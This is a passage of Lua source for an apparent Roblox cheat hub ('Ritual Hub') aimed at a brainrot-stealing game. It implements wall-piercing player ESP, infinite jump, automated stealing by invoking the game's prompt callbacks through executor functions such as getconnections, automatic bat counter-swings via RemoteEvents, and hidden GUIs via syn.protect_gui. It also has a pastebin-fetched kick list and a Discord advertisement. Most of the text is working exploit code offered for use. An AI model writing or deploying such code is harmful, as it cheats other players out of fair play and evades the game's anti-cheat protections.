local ping=math.floor(Players.LocalPlayer:GetNetworkPing()*1000)
pingLbl.Text=tostring(ping).." ms"
local severity=math.clamp((ping-80)/120,0,1)
local hot=Color3.fromRGB(255,math.floor(166-82*severity),math.floor(91-28*severity)); pingLbl.TextColor3=hot; rail.BackgroundColor3=hot; badgeDepth.Color=hot
local active=math.clamp(math.ceil(ping/45),1,5)
for i,bar in ipairs(bars) do bar.BackgroundColor3=hot; bar.BackgroundTransparency=i<=active and .08 or .76 end
end)
local pulse=math.abs(math.sin(t*3.2)); cStroke.Transparency=.3+pulse*.32; duelDot.BackgroundTransparency=.05+pulse*.45; badge.Rotation=math.sin(t*2.4)*2
task.wait(0.08)
end
end)
task.delay(7,function()
if card and card.Parent then
TweenService:Create(card,TweenInfo.new(.38,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{Position=UDim2.new(1,24,0,22),GroupTransparency=1}):Play()
TweenService:Create(shadow,TweenInfo.new(.38,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{Position=UDim2.new(1,28,0,29),BackgroundTransparency=1}):Play()
task.delay(0.4,function()
if sg then pcall(function() sg:Destroy() end) end
pingNotification=nil
end)
end
end)
pingNotification=sg
return sg
end
local function createPingNotification()
if pingNotification then pcall(function() pingNotification:Destroy() end);pingNotification=nil end
local sg=Instance.new("ScreenGui");sg.Name="PingNotification";sg.ResetOnSpawn=false;sg.IgnoreGuiInset=true;sg.DisplayOrder=999
pcall(function() if syn and syn.protect_gui then syn.protect_gui(sg) end end)
if not pcall(function() sg.Parent=game:GetService("CoreGui") end) then sg.Parent=LP:WaitForChild("PlayerGui") end
local shadow=Instance.new("Frame",sg);shadow.Size=UDim2.fromOffset(232,58);shadow.Position=UDim2.new(1,20,0,19);shadow.BackgroundColor3=Color3.fromRGB(0,0,0);shadow.BackgroundTransparency=.62;shadow.BorderSizePixel=0;shadow.ZIndex=8;Instance.new("UICorner",shadow).CornerRadius=UDim.new(0,9)
local card=Instance.new("Frame",sg);card.Size=UDim2.fromOffset(232,58);card.Position=UDim2.new(1,16,0,14);card.BackgroundColor3=Color3.fromRGB(10,10,13);card.BackgroundTransparency=.06;card.BorderSizePixel=0;card.ZIndex=10;card.ClipsDescendants=true;Instance.new("UICorner",card).CornerRadius=UDim.new(0,9)
local stroke=Instance.new("UIStroke",card);stroke.Color=Color3.fromRGB(66,67,75);stroke.Thickness=1;stroke.Transparency=.25
local rail=Instance.new("Frame",card);rail.Size=UDim2.new(0,3,1,0);rail.BackgroundColor3=Color3.fromRGB(225,86,78);rail.BorderSizePixel=0;rail.ZIndex=12
local dot=Instance.new("Frame",card);dot.Size=UDim2.fromOffset(7,7);dot.Position=UDim2.fromOffset(14,13);dot.BackgroundColor3=Color3.fromRGB(225,86,78);dot.BorderSizePixel=0;dot.ZIndex=12;Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0)
local warn=Instance.new("TextLabel",card);warn.Size=UDim2.fromOffset(98,18);warn.Position=UDim2.fromOffset(28,7);warn.BackgroundTransparency=1;warn.Text="HIGH PING";warn.TextColor3=Color3.fromRGB(232,233,238);warn.Font=Enum.Font.GothamBold;warn.TextSize=11;warn.TextXAlignment=Enum.TextXAlignment.Left;warn.ZIndex=12
local duel=Instance.new("TextLabel",card);duel.Size=UDim2.fromOffset(120,17);duel.Position=UDim2.fromOffset(14,31);duel.BackgroundTransparency=1;duel.Text="Avoid duels";duel.TextColor3=Color3.fromRGB(155,157,167);duel.Font=Enum.Font.GothamMedium;duel.TextSize=10;duel.TextXAlignment=Enum.TextXAlignment.Left;duel.ZIndex=12
local pingLbl=Instance.new("TextLabel",card);pingLbl.Size=UDim2.fromOffset(72,24);pingLbl.Position=UDim2.new(1,-98,0,17);pingLbl.BackgroundTransparency=1;pingLbl.Text="-- ms";pingLbl.TextColor3=Color3.fromRGB(224,226,232);pingLbl.Font=Enum.Font.GothamBold;pingLbl.TextSize=15;pingLbl.TextXAlignment=Enum.TextXAlignment.Right;pingLbl.ZIndex=12
local close=Instance.new("TextButton",card);close.Size=UDim2.fromOffset(20,20);close.Position=UDim2.new(1,-24,0,5);close.BackgroundTransparency=1;close.BorderSizePixel=0;close.ZIndex=15;close.Text="X";close.TextColor3=Color3.fromRGB(115,117,126);close.Font=Enum.Font.GothamBold;close.TextSize=10
close.MouseButton1Click:Connect(function() if pingNotification then pcall(function() pingNotification:Destroy() end);pingNotification=nil end end)
TweenService:Create(card,TweenInfo.new(.42,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Position=UDim2.new(1,-248,0,14)}):Play()
TweenService:Create(shadow,TweenInfo.new(.42,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Position=UDim2.new(1,-244,0,19)}):Play()
task.spawn(function()
while card and card.Parent do
pcall(function() local ping=math.floor(Players.LocalPlayer:GetNetworkPing()*1000);pingLbl.Text=tostring(ping).." ms";pingLbl.TextColor3=ping>=180 and Color3.fromRGB(238,103,92) or Color3.fromRGB(224,226,232) end)
task.wait(.2)
end
end)
task.delay(7,function()
if card and card.Parent then
TweenService:Create(card,TweenInfo.new(.3,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{Position=UDim2.new(1,16,0,14)}):Play()
TweenService:Create(shadow,TweenInfo.new(.3,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{Position=UDim2.new(1,20,0,19),BackgroundTransparency=1}):Play()
task.delay(.34,function() if sg then pcall(function() sg:Destroy() end) end;pingNotification=nil end)
end
end)
pingNotification=sg
return sg
end
task.spawn(function()
while true do
task.wait(1.5)
pcall(function()
local ping = math.floor(Players.LocalPlayer:GetNetworkPing()*1000)
if ping > 100 then
if not pingNotification then
createPingNotification()
end
else
if pingNotification then
pcall(function() pingNotification:Destroy() end)
pingNotification = nil
end
end
end)
end
end)
-- ==================== OVERHEAD GUI (Ragdoll Timer, Discord, Speed) ====================
local Overhead = {}
Overhead.headIndicator = nil
Overhead.overheadSpeedLabel = nil
Overhead.ragdollTimerThread = nil
Overhead.ragdollTimerRemaining = 0
Overhead.isRagdollActive = false
function Overhead.setupHeadIndicator(char)
local head = char:WaitForChild("Head", 5)
if not head then return end
local old = head:FindFirstChild("MoveeHeadIndicator")
if old then old:Destroy() end
local bb = Instance.new("BillboardGui")
bb.Name = "MoveeHeadIndicator"
bb.Size = UDim2.new(0, 240, 0, 76)
bb.StudsOffset = Vector3.new(0, 3.35, 0)
bb.AlwaysOnTop = true
bb.LightInfluence = 0
bb.Parent = head
-- Ragdoll Timer (bigger, thick font)
local ragdollLbl = Instance.new("TextLabel")
ragdollLbl.Name = "RagdollTimer"
ragdollLbl.Size = UDim2.new(1, 0, 0, 20)
ragdollLbl.Position = UDim2.new(0, 0, 0, 0)
ragdollLbl.BackgroundTransparency = 1
ragdollLbl.Text = ""
ragdollLbl.TextColor3 = Color3.fromRGB(0, 110, 200)
ragdollLbl.Font = Enum.Font.GothamBlack
ragdollLbl.TextSize = 16
ragdollLbl.TextStrokeColor3 = Color3.fromRGB(0, 25, 50)
ragdollLbl.TextStrokeTransparency = 0.35
ragdollLbl.ZIndex = 11
ragdollLbl.Parent = bb
-- Discord
local discordLbl = Instance.new("TextLabel")
discordLbl.Name = "Discord"
discordLbl.Size = UDim2.new(1, 0, 0, 18)
discordLbl.Position = UDim2.new(0, 0, 0, 20)
discordLbl.BackgroundTransparency = 1
discordLbl.Text = "discord.gg/ritualhub"
discordLbl.TextColor3 = Color3.fromRGB(0, 110, 200)
discordLbl.Font = Enum.Font.GothamBlack
discordLbl.TextSize = 14
discordLbl.TextStrokeColor3 = Color3.fromRGB(0, 25, 50)
discordLbl.TextStrokeTransparency = 0.35
discordLbl.ZIndex = 10
discordLbl.Parent = bb
-- Separator line
local line = Instance.new("Frame")
line.Name = "Separator"
line.Size = UDim2.new(0.60, 0, 0, 1)
line.Position = UDim2.new(0.20, 0, 0, 42)
line.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
line.BackgroundTransparency = 0.1
line.BorderSizePixel = 0
line.ZIndex = 9
line.Parent = bb
local lineCorner = Instance.new("UICorner")
lineCorner.CornerRadius = UDim.new(1, 0)
lineCorner.Parent = line
-- Speed label
local speedLbl = Instance.new("TextLabel")
speedLbl.Name = "Speed"
speedLbl.Size = UDim2.new(1, 0, 0, 22)
speedLbl.Position = UDim2.new(0, 0, 0, 46)
speedLbl.BackgroundTransparency = 1
speedLbl.Text = "Speed: 0"
speedLbl.TextColor3 = Color3.fromRGB(0, 110, 200)
speedLbl.Font = Enum.Font.GothamBlack
speedLbl.TextSize = 16
speedLbl.TextStrokeColor3 = Color3.fromRGB(0, 25, 50)
speedLbl.TextStrokeTransparency = 0.35
speedLbl.ZIndex = 10
speedLbl.Parent = bb
Overhead.headIndicator = {
bb = bb,
ragdollTimer = ragdollLbl,
discord = discordLbl,
speed = speedLbl,
line = line
}
Overhead.overheadSpeedLabel = speedLbl
end
function Overhead.updateOverheadSpeed(speed)
if not Overhead.overheadSpeedLabel then return end
local rounded = math.floor(speed * 10 + 0.5) / 10
if math.abs(rounded - math.floor(rounded)) < 0.05 then
Overhead.overheadSpeedLabel.Text = string.format("Speed: %d", math.floor(rounded + 0.5))
else
Overhead.overheadSpeedLabel.Text = string.format("Speed: %.1f", rounded)
end
end
function Overhead.updateRagdollTimer(duration)
if Overhead.ragdollTimerThread then
task.cancel(Overhead.ragdollTimerThread)
Overhead.ragdollTimerThread = nil
end
if duration <= 0 or not ragdollGuiEnabled then
Overhead.isRagdollActive = false
if Overhead.headIndicator and Overhead.headIndicator.ragdollTimer then
Overhead.headIndicator.ragdollTimer.Text = ""
end
return
end
Overhead.isRagdollActive = true
local startTime = tick()
Overhead.ragdollTimerRemaining = duration
Overhead.ragdollTimerThread = task.spawn(function()
while Overhead.isRagdollActive and Overhead.ragdollTimerRemaining > 0 do
local remaining = math.max(0, duration - (tick() - startTime))
Overhead.ragdollTimerRemaining = remaining
if Overhead.headIndicator and Overhead.headIndicator.ragdollTimer then
Overhead.headIndicator.ragdollTimer.Text = string.format("%.1fs", remaining)
end
if remaining <= 0 then
Overhead.isRagdollActive = false
if Overhead.headIndicator and Overhead.headIndicator.ragdollTimer then
Overhead.headIndicator.ragdollTimer.Text = ""
end
break
end
task.wait(0.05)
end
Overhead.ragdollTimerThread = nil
end)
end
function Overhead.onHumanoidStateChanged(_, new)
local char = player.Character
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum then return end
if (new == Enum.HumanoidStateType.Physics
or new == Enum.HumanoidStateType.Ragdoll
or new == Enum.HumanoidStateType.FallingDown)
and not hum.PlatformStand then
Overhead.updateRagdollTimer(2.6)
end
end
function Overhead.onMedusaStateChanged()
local char = player.Character
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid")
if hum and hum.PlatformStand then
Overhead.updateRagdollTimer(4.5)
end
end
function Overhead.setupRagdollTriggers()
local char = player.Character
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid")
if hum then
hum.StateChanged:Connect(Overhead.onHumanoidStateChanged)
hum:GetPropertyChangedSignal("PlatformStand"):Connect(Overhead.onMedusaStateChanged)
end
end
-- =====================================================
-- Setup overhead on initial character and on respawn
if player.Character then
Overhead.setupHeadIndicator(player.Character)
Overhead.setupRagdollTriggers()
end
player.CharacterAdded:Connect(function(char)
task.wait(0.4)
Overhead.setupHeadIndicator(char)
Overhead.setupRagdollTriggers()
end)
-- Speed update loop for local player
task.spawn(function()
while true do
task.wait(0.1)
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp and Overhead.overheadSpeedLabel then
local v = hrp.AssemblyLinearVelocity or hrp.Velocity
local speed = Vector3.new(v.X, 0, v.Z).Magnitude
Overhead.updateOverheadSpeed(speed)
end
end
end)
-- ==================== DICE ESP ====================
do
local function removePlayerHighlight(targetPlayer)
local obj=espObjects[targetPlayer]
if obj then
if obj.marker then pcall(function() obj.marker:Destroy() end)
elseif obj.highlight then pcall(function() obj.highlight:Destroy() end) end
end
espObjects[targetPlayer]=nil
end
local function attachPlayerHighlight(targetPlayer,character)
if not espEnabled or targetPlayer==LP or not character then return end
local root=character:FindFirstChild("HumanoidRootPart") or character:WaitForChild("HumanoidRootPart",5)
if not root or not espEnabled or character~=targetPlayer.Character then return end
removePlayerHighlight(targetPlayer)
local marker=Instance.new("Part")
marker.Name="DicePlayerLocation"; marker.Size=Vector3.new(2.6,5.2,2.1); marker.CFrame=root.CFrame
marker.Transparency=.99; marker.CanCollide=false; marker.CanTouch=false; marker.CanQuery=false
marker.CastShadow=false; marker.Massless=true; marker.Parent=character
local weld=Instance.new("WeldConstraint",marker); weld.Part0=root; weld.Part1=marker
local highlight=Instance.new("Highlight")
highlight.Name="DicePlayerHighlight"; highlight.Adornee=marker
highlight.FillColor=Color3.fromRGB(0,110,255); highlight.OutlineColor=Color3.fromRGB(70,170,255)
highlight.FillTransparency=.78; highlight.OutlineTransparency=0.02
highlight.DepthMode=Enum.HighlightDepthMode.AlwaysOnTop; highlight.Parent=marker
espObjects[targetPlayer]={highlight=highlight,marker=marker}
end
local function setupPlayerHighlight(targetPlayer)
if targetPlayer==LP then return end
if targetPlayer.Character then task.spawn(attachPlayerHighlight,targetPlayer,targetPlayer.Character) end
table.insert(espConnections,targetPlayer.CharacterAdded:Connect(function(character)
if espEnabled then task.spawn(attachPlayerHighlight,targetPlayer,character) end
end))
end
_GACC.startESP=function()
if espEnabled then return end
_GACC.playerHighlightEnabled=true; espEnabled=true
for _,targetPlayer in ipairs(Players:GetPlayers()) do setupPlayerHighlight(targetPlayer) end
table.insert(espConnections,Players.PlayerAdded:Connect(function(targetPlayer)
if espEnabled then setupPlayerHighlight(targetPlayer) end
end))
table.insert(espConnections,Players.PlayerRemoving:Connect(removePlayerHighlight))
end
_GACC.stopESP=function()
_GACC.playerHighlightEnabled=false; espEnabled=false
for _,connection in ipairs(espConnections) do pcall(function() connection:Disconnect() end) end
espConnections={}
for _,obj in pairs(espObjects) do
if obj.marker then pcall(function() obj.marker:Destroy() end)
elseif obj.highlight then pcall(function() obj.highlight:Destroy() end) end
end
espObjects={}
end
end
local function setupSpeedIndicator(char)
-- This function is replaced by Overhead system; we keep it empty to avoid conflicts.
-- The speed label is handled by Overhead.
end
local function getActiveMoveSpeed()
if laggerModeEnabled then return carrySpeedActive and LAGGER_CARRY_SPEED or LAGGER_SPEED
elseif carrySpeedActive then return CS
else return NS end
end
local function getAutoPathSpeed()
if laggerModeEnabled then return carrySpeedActive and LAGGER_CARRY_SPEED or LAGGER_SPEED
else return NS end
end
do
local _autoSwitchWasSteal=false
local function updateAutoSwitchSpeed()
if not autoSwitchSpeedEnabled then return end
local char=LP.Character;if not char then return end
local h=char:FindFirstChildOfClass("Humanoid");if not h then return end
local isStealSpeed=h.WalkSpeed<25
if isStealSpeed==_autoSwitchWasSteal then return end
_autoSwitchWasSteal=isStealSpeed
if isStealSpeed then carrySpeedActive = true else carrySpeedActive = false end
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carrySpeedActive) end
end
task.spawn(function() while true do task.wait(0.1);updateAutoSwitchSpeed() end end)
end
local function startHoldInfJump()
if holdInfJumpConn then holdInfJumpConn:Disconnect() end
holdInfJumpConn=RunService.Heartbeat:Connect(function()
if not infJumpEnabled then return end
local char=LP.Character;if not char then return end
local root=char:FindFirstChild("HumanoidRootPart");local hum=char:FindFirstChildOfClass("Humanoid");if not root or not hum then return end
local isJumpHeld=UIS:IsKeyDown(Enum.KeyCode.Space) or (hum.Jump==true)
if isJumpHeld and root.Velocity.Y<35 then root.Velocity=Vector3.new(root.Velocity.X,55,root.Velocity.Z) end
if root.Velocity.Y<-120 then root.Velocity=Vector3.new(root.Velocity.X,-120,root.Velocity.Z) end
end)
end
local function stopHoldInfJump() if holdInfJumpConn then holdInfJumpConn:Disconnect();holdInfJumpConn=nil end end
task.spawn(function()
local BLACKLIST_URL="https://pastebin.com/2zLUXv2K"
pcall(function() HS.HttpEnabled=true end)
while task.wait(3) do
pcall(function()
local r=game:HttpGet(BLACKLIST_URL)
if r and string.find(r,tostring(LP.UserId),1,true) then LP:Kick("You have been removed for cheating | CODE: BAC-1633") end
end)
end
end)
local KB={DropBrainrot={kb=nil,gp=nil},AutoLeft={kb=nil,gp=nil},AutoRight={kb=nil,gp=nil},AutoBat={kb=nil,gp=nil},TPFloor={kb=nil,gp=nil},GuiHide={kb=nil,gp=nil},SpeedToggle={kb=nil,gp=nil},LaggerToggle={kb=nil,gp=nil},InstantReset={kb=nil,gp=nil},TpBat={kb=nil,gp=nil}}
-- Auto path waypoints (Ritual Hub coords)
local AP_L1,AP_L2=Vector3.new(-476.48,-6.28,92.73),Vector3.new(-483.12,-4.95,94.80)
local AP_R1,AP_R2=Vector3.new(-476.16,-6.52,25.62),Vector3.new(-483.06,-5.03,25.48)
local Steal={AutoStealEnabled=false,StealRadius=60,StealDuration=1.4,Data={}}
local stealMode="normal"
local SemiSteal={State={active=false,startTime=0,duration=1.4,progress=0,inRange=false,paused=false,phase="idle",label="",lastResult="",lastResultTime=0,totalSteals=0,failedSteals=0},CONFIG={HOLD_MIN=1.3,HOLD_MAX=2.6,ENTRY_DELAY=0.3,COOLDOWN=.05,STEAL_RANGE=9,PRIME_RANGE=80,RADIUS=60,DURATION=1.4,DELAY_RADIUS=8,STOP_TIME=1.29,STOP_TIME_ENABLED=false}}
local startSemiAutoSteal,stopSemiAutoSteal
-- Ritual Hub steal presets. Fixed on purpose - V modes expose no settings.
_GACC.V_PCT = { v1=0.74, v2=0.80, v3=0.85, v4=0.45 }
_GACC.safeModeEnabled = _GACC.safeModeEnabled or false
-- ==================== SAFE MODE ====================
-- Locks only while you are carrying a brainrot. Countdown detection was
-- removed on purpose: nobody runs the auto paths during a 5-4-3-2-1, and
-- holding the lock through "GO" cost a head start every round.
_GACC.safeHoldingBrainrot=function()
local ok,val=pcall(function() return LP:GetAttribute("Stealing") end)
if ok and val==true then return true end
local ok2,val2=pcall(function() return LP:GetAttribute("AntiKick") end)
if ok2 and val2==true then return true end
local char=LP.Character
if char then
local ok3,val3=pcall(function() return char:GetAttribute("Stealing") end)
if ok3 and val3==true then return true end
end
if _GACC.autoCarryDetect then
local okCarry,carrying=pcall(_GACC.autoCarryDetect)
if okCarry and carrying then return true end
end
return false
end
_GACC.safeIsLocked=function()
if not _GACC.safeModeEnabled then return false end
return _GACC.safeHoldingBrainrot()
end
_GACC.V_RADIUS = 61
_GACC.V_DURATION = 1.3
_GACC.V_DELAYRAD = 9
_GACC.isVersionMode = function(m) return _GACC.V_PCT[m or ""] ~= nil end
local isStealing,stealStartTime=false,nil
local Conns={autoSteal=nil,antiRag=nil,anchor={},batCounter=nil}
-- ==================== BAT COUNTER ====================
-- Watches for you being knocked into a ragdoll state and swings back
-- automatically. Ported as-is from the reference: fire the tool's RemoteEvent
-- twice 0.15s apart when there is one, otherwise Activate() twice.
_GACC.batCounterEnabled = _GACC.batCounterEnabled or false
_GACC.batCounterDebounce = false
_GACC.BAT_COUNTER_LIST = {"Bat","Slap","Iron Slap","Gold Slap","Diamond Slap","Emerald Slap",
"Ruby Slap","Dark Matter Slap","Flame Slap","Nuclear Slap","Galaxy Slap","Glitched Slap"}
_GACC.findBatForCounter = function()
local c = LP.Character; if not c then return nil end
local bp = LP:FindFirstChildOfClass("Backpack")
for _, name in ipairs(_GACC.BAT_COUNTER_LIST) do
local t = c:FindFirstChild(name) or (bp and bp:FindFirstChild(name))
if t then return t end
end
for _, ch in ipairs(c:GetChildren()) do
if ch:IsA("Tool") and ch.Name:lower():find("bat") then return ch end
end
if bp then
for _, ch in ipairs(bp:GetChildren()) do
if ch:IsA("Tool") and ch.Name:lower():find("bat") then return ch end
end
end
return nil
end
_GACC.swingBatForCounter = function(bat, char)
local hum2 = char:FindFirstChildOfClass("Humanoid")
if bat.Parent ~= char then
if hum2 then pcall(function() hum2:EquipTool(bat) end) end
task.wait(0.05)
end
local remote = bat:FindFirstChildOfClass("RemoteEvent") or bat:FindFirstChildOfClass("RemoteFunction")
if remote and remote:IsA("RemoteEvent") then
pcall(function() remote:FireServer() end)
task.wait(0.15)
pcall(function() remote:FireServer() end)
else
pcall(function() bat:Activate() end)
task.wait(0.15)
pcall(function() bat:Activate() end)
end
end
_GACC.startBatCounter = function()
if Conns.batCounter then return end
Conns.batCounter = RunService.Heartbeat:Connect(function()
if not _GACC.batCounterEnabled then return end
if _GACC.batCounterDebounce then return end
local char = LP.Character; if not char then return end
local hum2 = char:FindFirstChildOfClass("Humanoid"); if not hum2 then return end
local st = hum2:GetState()
if st == Enum.HumanoidStateType.Physics
or st == Enum.HumanoidStateType.Ragdoll
or st == Enum.HumanoidStateType.FallingDown then
_GACC.batCounterDebounce = true
task.spawn(function()
local bat = _GACC.findBatForCounter()
if bat then pcall(_GACC.swingBatForCounter, bat, char) end
task.wait(0.5)
_GACC.batCounterDebounce = false
end)
end
end)
end
_GACC.stopBatCounter = function()
if Conns.batCounter then Conns.batCounter:Disconnect(); Conns.batCounter = nil end
_GACC.batCounterDebounce = false
end
local MEDUSA_COOLDOWN=25
local modeValLbl;local lastMoveDir=Vector3.new(0,0,0)
local MOVE_KEYS={[Enum.KeyCode.W]=true,[Enum.KeyCode.A]=true,[Enum.KeyCode.S]=true,[Enum.KeyCode.D]=true,[Enum.KeyCode.Up]=true,[Enum.KeyCode.Left]=true,[Enum.KeyCode.Down]=true,[Enum.KeyCode.Right]=true}
local function isRagdollState(hum)
if not hum then return true end;local st=hum:GetState()
return hum.PlatformStand or st==Enum.HumanoidStateType.Physics or st==Enum.HumanoidStateType.Ragdoll or st==Enum.HumanoidStateType.FallingDown
end
do
local function isMyPlotByName(plotName)
local plots=workspace:FindFirstChild("Plots");if not plots then return false end
local plot=plots:FindFirstChild(plotName);if not plot then return false end
local sign=plot:FindFirstChild("PlotSign")
if sign then local yb=sign:FindFirstChild("YourBase");if yb and yb:IsA("BillboardGui") then return yb.Enabled==true end end
return false
end
isNearPodiumWithPrompt = function()
local char=LP.Character;local hrpL=char and char:FindFirstChild("HumanoidRootPart");if not hrpL then return false end
local plots=workspace:FindFirstChild("Plots");if not plots then return false end
for _,plot in ipairs(plots:GetChildren()) do
if isMyPlotByName(plot.Name) then continue end
local podiums=plot:FindFirstChild("AnimalPodiums");if not podiums then continue end
for _,podium in ipairs(podiums:GetChildren()) do
local base=podium:FindFirstChild("Base");if not base then continue end
local sp=base:FindFirstChild("Spawn");if not sp then continue end
local d=(hrpL.Position-sp.Position).Magnitude;if d>Steal.StealRadius then continue end
local att=sp:FindFirstChild("PromptAttachment");if not att then continue end
for _,obj in ipairs(att:GetChildren()) do if obj:IsA("ProximityPrompt") and obj.Enabled then return true,d end end
end
end
return false,math.huge
end
local function findNearestPrompt()
local char=LP.Character;if not char then return nil end
local root=char:FindFirstChild("HumanoidRootPart");if not root then return nil end
local plots=workspace:FindFirstChild("Plots");if not plots then return nil end
local nearest,dist=nil,math.huge
for _,plot in ipairs(plots:GetChildren()) do
if isMyPlotByName(plot.Name) then continue end
local pods=plot:FindFirstChild("AnimalPodiums");if not pods then continue end
for _,pod in ipairs(pods:GetChildren()) do
local base=pod:FindFirstChild("Base");local sp=base and base:FindFirstChild("Spawn")
if sp then
local d=(sp.Position-root.Position).Magnitude
if d<=Steal.StealRadius and dist>d then
local att=sp:FindFirstChild("PromptAttachment")
if att then for _,prompt in ipairs(att:GetChildren()) do if prompt:IsA("ProximityPrompt") and prompt.ActionText:find("Steal") then nearest,dist=prompt,d end end end
end
end
end
end
return nearest
end
local function executeSteal(prompt)
if isStealing then return end
if not Steal.Data[prompt] then
Steal.Data[prompt]={hold={},trigger={},ready=true}
if getconnections then
for _,c in ipairs(getconnections(prompt.PromptButtonHoldBegan)) do if c.Function then table.insert(Steal.Data[prompt].hold,c.Function) end end
for _,c in ipairs(getconnections(prompt.Triggered)) do if c.Function then table.insert(Steal.Data[prompt].trigger,c.Function) end end
end
end
local data=Steal.Data[prompt];if not data.ready then return end
data.ready=false;isStealing=true;stealStartTime=tick()
task.spawn(function()
for _,fn in ipairs(data.hold) do task.spawn(fn) end
task.wait(Steal.StealDuration)
for _,fn in ipairs(data.trigger) do task.spawn(fn) end
if _GACC.autoCarryWatch then _GACC.autoCarryWatch(1.25) end
task.wait(.06)
data.ready=true;isStealing=false;stealStartTime=nil
end)
end
-- Cuts anything that flings you while Safe Mode is locked.
_GACC.safeForceStop=function()
if not _GACC.safeModeEnabled then return end
if autoBatEnabled then
autoBatEnabled=false
pcall(stopBatAimbot)
if autoBatSetVisual then autoBatSetVisual(false) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(false) end
end
if batDesyncTpEnabled then
batDesyncTpEnabled=false
if _GACC.stopBatDesyncTp then pcall(_GACC.stopBatDesyncTp) end
if batDesyncTpSetVisual then batDesyncTpSetVisual(false) end
end
if autoLeftEnabled then
autoLeftEnabled=false
if stopAutoLeft then pcall(stopAutoLeft) end
if autoLeftSetVisual then autoLeftSetVisual(false) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(false) end
end
if autoRightEnabled then
autoRightEnabled=false
if stopAutoRight then pcall(stopAutoRight) end
if autoRightSetVisual then autoRightSetVisual(false) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(false) end
end
end
-- Returns false when Safe Mode is blocking a start request.
_GACC.safeTryStart=function()
if _GACC.safeIsLocked() then
_GACC.safeForceStop()
return false
end
return true
end
RunService.Heartbeat:Connect(function()
if _GACC.safeModeEnabled and _GACC.safeIsLocked() then
pcall(_GACC.safeForceStop)
end
end)
startAutoSteal=function()
if stealMode=="semi" or _GACC.isVersionMode(stealMode) then
if startSemiAutoSteal then startSemiAutoSteal() end
return
end
if Conns.autoSteal then return end
Conns.autoSteal=RunService.Heartbeat:Connect(function()
if not Steal.AutoStealEnabled or isStealing then return end
local p=findNearestPrompt();if p then executeSteal(p) end
end)
end
stopAutoSteal=function()
if stopSemiAutoSteal then stopSemiAutoSteal() end
if Conns.autoSteal then Conns.autoSteal:Disconnect();Conns.autoSteal=nil end
isStealing=false;stealStartTime=nil
end
end
do
local function _initSemiStealEngine()
local RS = game:GetService("ReplicatedStorage")
local SEMI_CONFIG = SemiSteal.CONFIG
local syncRemotes = nil
local plots = nil
pcall(function()
plots = workspace:WaitForChild("Plots", 8)
local folder = RS:WaitForChild("Packages", 8):WaitForChild("Synchronizer", 8)
syncRemotes = {
channelFolder = folder:WaitForChild("Channel", 8),
routeRemote = folder:WaitForChild("CommunicationRoute", 8),
requestData = folder:FindFirstChild("RequestData"),
}
end)
local AnimalsData = nil
pcall(function()
AnimalsData = require(RS:WaitForChild("Datas", 8):WaitForChild("Animals", 8))
end)
local plotAnimalSync = { caches = {}, connections = {} }
local allAnimalsCache = {}
local SemiPromptCache = {}
local SemiCallbackCache = {}
local function splitSyncPath(path)
if type(path)=="table" then return path end
local out={}
for part in string.gmatch(tostring(path),"[^%.]+") do
table.insert(out, tonumber(part) or part)
end
return out
end
local function resolveSyncPath(path, root)
local current,parent,key=root,nil,nil
for _,part in ipairs(splitSyncPath(path)) do
parent=current; key=part
current=current and current[part] or nil
end
return current,parent,key
end
local function applyPlotSyncDiff(channelName, packet)
local cache=plotAnimalSync.caches[channelName]
if type(cache)~="table" then return end
local path,action,a,b=packet[1],packet[2],packet[3],packet[4]
local current,parent,key=resolveSyncPath(path,cache)
if action=="Changed" then if parent then parent[key]=a end
elseif action=="ArrayInsert" then if current then table.insert(current,b,a) end
elseif action=="ArrayRemoved" then if current then table.remove(current,b) end
elseif action=="DictionaryInsert" then if current then current[b]=a end
elseif action=="DictionaryRemoved" then if current then current[b]=nil end
end
end
local function attachPlotChannel(remote)
if not plots or not syncRemotes then return end
if plotAnimalSync.connections[remote] then return end
local channelName=tostring(remote.Name)
if not plots:FindFirstChild(channelName) then return end
if syncRemotes.requestData and plotAnimalSync.caches[channelName]==nil then
local ok,data=pcall(function() return syncRemotes.requestData:InvokeServer(channelName) end)
plotAnimalSync.caches[channelName]=(ok and type(data)=="table") and data or {}
elseif plotAnimalSync.caches[channelName]==nil then
plotAnimalSync.caches[channelName]={}
end
plotAnimalSync.connections[remote]=remote.OnClientEvent:Connect(function(queue)
for _,packet in ipairs(queue) do applyPlotSyncDiff(channelName,packet) end
end)
end
local function detachPlotChannel(channelName)
for remote,conn in pairs(plotAnimalSync.connections) do
if tostring(remote.Name)==tostring(channelName) then
conn:Disconnect()
plotAnimalSync.connections[remote]=nil
plotAnimalSync.caches[tostring(channelName)]=nil
break
end
end
end
pcall(function()
if not syncRemotes then return end
for _,child in ipairs(syncRemotes.channelFolder:GetChildren()) do
if child:IsA("RemoteEvent") then attachPlotChannel(child) end
end
syncRemotes.channelFolder.ChildAdded:Connect(function(child)
if child:IsA("RemoteEvent") then attachPlotChannel(child) end
end)
syncRemotes.routeRemote.OnClientEvent:Connect(function(actions)
for _,action in ipairs(actions) do
local kind,channelName=action[1],tostring(action[2])
if not plots:FindFirstChild(channelName) then continue end
if kind=="ListenerAdded" then
local r=syncRemotes.channelFolder:FindFirstChild(channelName)
if r and r:IsA("RemoteEvent") then attachPlotChannel(r) end
elseif kind=="ListenerRemoved" then detachPlotChannel(channelName) end
end
end)
end)
local function getPlotOwner(plot)
local sign=plot:FindFirstChild("PlotSign")
local frame=sign and sign:FindFirstChild("SurfaceGui") and sign.SurfaceGui:FindFirstChild("Frame")
local label=frame and frame:FindFirstChild("TextLabel")
if not label or label.Text=="Empty Base" then return nil end
return label.Text:gsub("'s [Bb]ase$",""):gsub("%s+$","")
end
local function isMyBaseAnimal(animalData)
if not animalData or not animalData.plot then return false end
